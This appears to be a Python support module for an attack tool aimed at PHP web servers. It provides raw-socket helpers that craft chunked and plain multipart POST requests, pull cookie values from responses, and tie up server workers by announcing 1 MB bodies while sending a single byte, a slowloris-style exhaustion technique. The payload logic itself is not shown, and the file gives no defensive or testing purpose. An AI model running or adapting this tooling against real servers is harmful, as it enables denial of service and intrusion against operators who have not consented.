88 lines
2.5 KiB
Python
88 lines
2.5 KiB
Python
import socket
|
|
import time
|
|
import urllib.parse
|
|
|
|
BOUNDARY = b"C" * 10
|
|
|
|
|
|
def frame_chunked(path, body, host, boundary=BOUNDARY, chunk=65536):
|
|
hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\n"
|
|
"Content-Type: multipart/form-data; boundary=%s\r\n"
|
|
"Transfer-Encoding: chunked\r\nConnection: close\r\n\r\n" %
|
|
(path, host, boundary.decode())).encode()
|
|
out = bytearray(hdr)
|
|
for i in range(0, len(body), chunk):
|
|
piece = body[i:i + chunk]
|
|
out += ("%x\r\n" % len(piece)).encode() + piece + b"\r\n"
|
|
out += b"0\r\n\r\n"
|
|
return bytes(out)
|
|
|
|
|
|
def frame_plain(path, body, host, boundary=BOUNDARY):
|
|
return ("POST %s HTTP/1.1\r\nHost: %s\r\n"
|
|
"Content-Type: multipart/form-data; boundary=%s\r\n"
|
|
"Content-Length: %d\r\nConnection: close\r\n\r\n" %
|
|
(path, host, boundary.decode(), len(body))).encode() + body
|
|
|
|
|
|
def send(host, port, blob, timeout=600.0, limit=8 << 20):
|
|
resp = bytearray()
|
|
sock = socket.create_connection((host, port), timeout=timeout)
|
|
sock.settimeout(timeout)
|
|
try:
|
|
sock.sendall(blob)
|
|
while len(resp) < limit:
|
|
piece = sock.recv(65536)
|
|
if not piece:
|
|
break
|
|
resp.extend(piece)
|
|
except OSError:
|
|
pass
|
|
sock.close()
|
|
return bytes(resp)
|
|
|
|
|
|
def cookie(resp, key):
|
|
marker = b"Set-Cookie: " + key + b"="
|
|
i = resp.find(marker)
|
|
if i < 0:
|
|
return None
|
|
val = resp[i + len(marker):].split(b"\r\n", 1)[0]
|
|
return urllib.parse.unquote_to_bytes(val.decode("latin1"))
|
|
|
|
|
|
def status(resp):
|
|
if not resp:
|
|
return ""
|
|
return resp.split(b"\r\n", 1)[0][:80].decode("latin1", "replace")
|
|
|
|
|
|
def warm(host, port, path="/index.php"):
|
|
sock = socket.create_connection((host, port), timeout=5)
|
|
sock.sendall(("GET %s HTTP/1.0\r\nHost: x\r\n\r\n" % path).encode())
|
|
sock.recv(1024)
|
|
sock.close()
|
|
|
|
|
|
def hold_workers(host, port, count, body_len=1048576, path="/index.php"):
|
|
held = []
|
|
if count <= 0:
|
|
return held
|
|
for _ in range(count):
|
|
sock = socket.create_connection((host, port), timeout=5)
|
|
sock.sendall(("POST %s HTTP/1.1\r\nHost: %s\r\n"
|
|
"Content-Type: application/x-www-form-urlencoded\r\n"
|
|
"Content-Length: %d\r\n\r\nx" % (path, host, body_len)).encode())
|
|
held.append(sock)
|
|
time.sleep(0.01)
|
|
time.sleep(0.8)
|
|
return held
|
|
|
|
|
|
def release(held):
|
|
for sock in held:
|
|
try:
|
|
sock.close()
|
|
except OSError:
|
|
pass
|